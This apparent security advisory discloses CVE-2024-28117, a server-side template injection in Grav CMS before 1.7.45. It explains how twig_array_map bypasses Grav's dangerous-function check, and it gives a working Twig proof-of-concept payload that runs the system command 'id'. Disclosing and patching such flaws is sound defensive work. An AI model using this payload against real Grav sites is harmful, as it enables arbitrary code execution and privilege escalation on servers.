CVE-2024-28117: Grav vulnerable to Server Side Template Injection (SSTI)
Summary Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twigarraymap, allowing attackers to bypass the validation and execute arbitrary commands.
Details {{ grav.twig.twig.getFunction('twigarraymap')|vardump }} !image
When we accessed twigarraymap like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twigarraymap without any restrictions.
{% set cmd = {'id':'system'} %} {{ twigarraymap(grav.twig.twig,cmd,'calluserfunc')|join }} Since there is no validation on twigarraymap itself, it is possible to call arbitrary function using calluserfunc.
PoC {% set cmd = {'id':'system'} %} {{ twigarraymap(grav.twig.twig,cmd,'calluserfunc')|join }}
Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Other sources
Grav is an open-source, flat-file content management system. Prior to version 1.7.45, Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twigarraymap, allowing attackers to bypass the validation and execute arbitrary commands. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Upgrading to patched version 1.7.45 can mitigate this issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2024-28117?
The severity of CVE-2024-28117 is currently rated as critical due to the potential for arbitrary command execution.
How do I fix CVE-2024-28117?
To fix CVE-2024-28117, upgrade to the patched version 1.7.45 or later of the Grav software.
What are the potential impacts of CVE-2024-28117?
CVE-2024-28117 can allow attackers to execute arbitrary commands on the server, compromising the entire application.
Which versions of Grav are affected by CVE-2024-28117?
CVE-2024-28117 affects all versions of Grav prior to 1.7.45.
What function is exploited in CVE-2024-28117?
CVE-2024-28117 exploits the lack of restrictions on the twig_array_map function, allowing bypassing of validation.